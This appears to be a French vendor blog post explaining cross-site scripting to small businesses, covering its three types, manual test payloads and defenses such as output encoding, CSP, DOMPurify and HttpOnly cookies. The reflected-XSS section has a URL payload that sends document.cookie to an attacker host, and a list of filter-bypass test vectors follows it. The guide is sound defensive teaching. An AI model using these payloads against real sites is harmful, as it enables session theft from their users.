Le Cross-Site Scripting (XSS) figure parmi les vulnérabilités web les plus fréquentes. Classé en A03:2021 (Injection) dans le Top 10 OWASP, il reste omniprésent dans les applications web européennes. Pour une PME, une seule attaque XSS peut compromettre les données de vos clients, votre réputation et votre conformité RGPD.
Qu'est-ce qu'une attaque XSS ?
Une attaque XSS permet à un attaquant d'injecter du code JavaScript malveillant dans une page web vue par d'autres utilisateurs. Le navigateur de la victime exécute ce code comme s'il provenait du site légitime, donnant accès aux cookies, sessions et données sensibles.
Les 3 types de XSS
1. XSS Réfléchi (Reflected)
Le code malveillant est injecté via l'URL ou un formulaire et renvoyé immédiatement par le serveur dans la réponse HTTP. C'est le type le plus courant.
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
2. XSS Stocké (Stored/Persistent)
Le code malveillant est stocké en base de données (commentaire, profil utilisateur) et exécuté à chaque affichage de la page. C'est le plus dangereux car il touche tous les visiteurs.
3. XSS DOM-based
L'injection se produit entièrement côté client, via la manipulation du DOM JavaScript. Le serveur ne voit jamais le payload — ce qui rend la détection côté serveur impossible.
Comment détecter les vulnérabilités XSS
Scan automatisé
Un scanner de sécurité comme WarDek teste automatiquement vos endpoints pour les injections XSS les plus courantes. Le module jsSecrets analyse également vos fichiers JavaScript pour détecter des tokens ou secrets exposés.
Tests manuels essentiels
Testez ces payloads sur vos formulaires et paramètres URL :
<!-- Test basique -->
<script>alert('XSS')</script>
<!-- Contournement de filtres simples -->
<img src=x onerror=alert('XSS')>
<!-- Via attributs événementiels -->
<div onmouseover="alert('XSS')">Hover me</div>
<!-- Via SVG -->
<svg onload=alert('XSS')>
Si l'un de ces tests affiche une alerte dans votre navigateur, votre application est vulnérable.
6 mesures de protection contre le XSS
1. Échapper les sorties (Output Encoding)
C'est la défense principale. Chaque donnée utilisateur affichée dans le HTML doit être encodée selon son contexte :
| Contexte | Encodage | Exemple |
|----------|----------|---------|
| HTML body | HTML entities | <script> |
| Attribut HTML | Attribute encoding | "onclick=..." |
| JavaScript | JS encoding | \x3cscript\x3e |
| URL | URL encoding | %3Cscript%3E |
| CSS | CSS encoding | \003Cscript\003E |
2. Content Security Policy (CSP)
Le header CSP est votre deuxième ligne de défense. Il indique au navigateur quelles sources de scripts sont autorisées :
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'
Avec cette politique, tout script inline sans le bon nonce sera bloqué, même si un attaquant réussit à injecter du HTML.
3. Validation des entrées (Input Validation)
Validez toutes les entrées utilisateur côté serveur avec des schémas stricts :
import { z } from 'zod';
const commentSchema = z.object({
content: z.string().min(1).max(5000),
email: z.string().email(),
});
La validation seule ne suffit pas — elle doit être combinée avec l'encodage en sortie.
4. Sanitisation HTML (quand nécessaire)
Si vous devez accepter du HTML riche (éditeur WYSIWYG, markdown), utilisez une bibliothèque de sanitisation éprouvée comme DOMPurify :
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href'],
});
5. Cookies HttpOnly et Secure
Protégez vos cookies de session contre le vol via XSS :
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
- HttpOnly : le cookie est invisible à JavaScript (protection contre
document.cookie) - Secure : transmis uniquement en HTTPS
- SameSite : protection contre les requêtes cross-origin
6. Headers de sécurité complémentaires
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Ces headers empêchent le navigateur d'interpréter du contenu de manière inattendue.
Vérifier votre protection avec WarDek
WarDek scanne automatiquement votre site pour détecter les failles XSS et vérifie que vos headers de sécurité sont correctement configurés. Le score OWASP inclut la détection des headers CSP manquants, des cookies non sécurisés et des scripts vulnérables.